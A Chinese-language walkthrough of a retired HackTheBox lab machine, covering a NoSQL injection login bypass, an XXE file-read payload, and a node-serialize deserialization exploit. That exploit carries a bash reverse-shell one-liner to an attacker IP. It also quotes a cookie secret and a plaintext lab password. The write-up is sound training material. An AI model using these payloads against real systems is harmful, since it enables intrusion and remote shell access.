概述 (Overview)
HOST: 10.10.11.139
OS: LINUX
发布时间: 2022-01-10
完成时间: 2022-02-09
机器作者: ippsec
困难程度: EASY
机器状态: 退休
MACHINE TAGS: #Node #XXEExploitation #Command_Injection #SourceCodeReview
攻击链 (Kiillchain)
- 使用 Nmap 软件对目标服务器开放端口进行扫描,发现存在对外暴露的 Node Web 服务。
- 针对该服务的登录验证接口进行验证,使用 nosql 注入漏洞成功获得用户会话。
- 在分析文件管理的 XML 数据结构时,发现存在 XXE 漏洞。
- 利用 XXE 漏洞进行文件读取漏洞,从而进行代码审计。
- 发现序列化库存在 RCE 风险,通过构造的 exploit 成功拿下目标服务器的立足点。
- 通过查看 MongoDB 数据时发现 admin 用户的明文密码。
- 使用该密码完成权限提升,获得 root 权限。
枚举(Enumeration)
开局依然是使用 Nmap
做为初始动作,扫描目标服务器对外暴露的端口信息:
$ nmap -p- -n -Pn -sC -sV --min-rate 2000 -oA nmap/portscan -v 10.10.11.139 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA) | 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA) |_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519) 5000/tcp open http Node.js (Express middleware) |_http-title: Blog | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
从结果中可以获悉到,目标服务器是 Ubuntu 系统对外暴漏两个端口(22、5000),其中 5000 端口运行着一个 Node Web 服务。这个可能是我们拿下目标服务器的突破口。
Port 5000 - Node.js
浏览器访问后可以看到一个简陋的 Blog 站点:
立足点(Foothold)
随后简单查看了下页面的源码,发现存在一段 JavaScript 脚本具备点击动作,作用是传递 XML 数据请求。
怀疑这里存在 XXE 漏洞,使用 httpie 工具进行简单的尝试。任意构造了一段内容并发送,发现请求返回了一段示例结构:
构造了 Payload 后发现并没返回预期的结果,怀疑还需要登录才能利用,转而查看 /Login
页面。因为后端已知是 node 服务,那么在靶机里最常见的一般是 nosql 注入相关的漏洞,顺着这个思路就找利用方式即可。
顺着文章中的内容传递 $ne
运算符,成功进行了 nosql 注入登录了 admin 账户:
POST /login
Content-Type: application/json
...snip...
{
"user":"admin",
"password": { "$ne": null }
}
虽然 CSS 样式渲染存在错误,也让我们看到了不一样的内容,现在能够对文章进行操作了。结合页面代码中 JavaScript 脚本片段,怀疑能够使用 XXE 漏洞进行任意文件读取,接着构建 exploit:
Post exploit:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<post><title>1234</title><description>&xxe;</description><markdown># H1</markdown></post>
$ http -f POST http://10.10.11.139:5000/articles/xml Cookie:auth=%7B%22user%22%3A%22admin%22%2C%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D file
@test.xml -v
当文章创建成功后,就能在内容描述中查看到 /etc/passwd
文件内容了,说明 XXE 漏洞存在。
XXE漏洞(XML External Entity)是一种安全漏洞,它利用了XML解析器的特性,允许攻击者在XML文件中引用外部实体,并执行恶意代码,从而获取敏感信息或者直接攻击系统。例如,攻击者可以构造一个包含远程实体的XML文档,然后提交给应用程序进行解析。当应用程序解析XML数据时,它会自动加载远程实体,攻击者就可以利用这个机会执行任意代码或者读取远程系统上的敏感信息。
而获取当前 Web 服务的绝对路径有很简单,随便传递一段 XML 内容会能返回错误详情,其中就包含脚本的绝对路径。
继续利用,读取 file:///opt/blog/server.js
文件内容:
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()
mongoose.connect('mongodb://localhost/blog')
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
app.listen(5000)
通过阅读代码片段可以看到这里存在 RCE 漏洞,在代码中漏洞出现在在使用 node-serialize
序列化库。攻击者可以构造特定的序列化字符串来执行任意代码。可以构造一个带有恶意代码的 c
参数,将其进行序列化,然后将序列化后的字符串传递给 authenticated
函数。当 authenticated
函数对 c
参数进行反序列化时,恶意代码就会得以执行,从而导致安全问题。
而 c
参数是外部攻击者可控的,来自 http 请求中的 cookie 参数:
- src: authenticated(req.cookies.auth)
- sink: serialize.unserialize©
在代码自动化安全审计的理论当中,有一个最核心的三元组概念,就是(source,sink和sanitizer)。source是指漏洞污染链条的输入点。比如获取http请求的参数部分,就是非常明显的Source。sink是指漏洞污染链条的执行点,比如SQL注入漏洞,最终执行SQL语句的函数就是sink(这个函数可能叫query或者exeSql,或者其它)。sanitizer又叫净化函数,是指在整个的漏洞链条当中,如果存在一个方法阻断了整个传递链,那么这个方法就叫sanitizer。
接下来就简单了,构造可以序列化执行的反弹 shell 代码即可:
// 测试网络是否能够到达
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl 10.10.17.64', function(error, stdout, stderr){console.log(stdout)});}()"}
// 获取交互shell
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('bash -c \"/bin/bash -i >& /dev/tcp/10.10.17.64/9900 0>&1\"', function(error, stdout, stderr){console.log(stdout)});}()"}
打点成功,获得立足点。
权限提升(Privilege Escalation)
首先注意到 bash: cd: /home/admin: Permission denied
,原因是因为缺少执行权限看着膈应。
由于 admin 是目录的所有者,可以直接更改权限就可以了。
按照以往的思路,首先找找看是否存密码复用的风险,这样我们后续可以通过 ssh 登录 admin 用户。在脚本中已经获悉到数据是 MongoDB 且没有密码,直接 cli 运行查询表数据即可。
$ mongo mongodb://localhost/blog
> show dbs;
admin 0.000GB
blog 0.000GB
config 0.000GB
local 0.000GB
> db.getCollectionNames();
[ "articles", "users" ]
> db.users.find();
{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }
直接就是明文,尝试 $ ssh admin@10.10.11.139
时出现了错误:Permission denied (publickey),通过密码登录被禁用了。习惯性尝试 su 切换 root 用户,直接成功了完成了权限提升。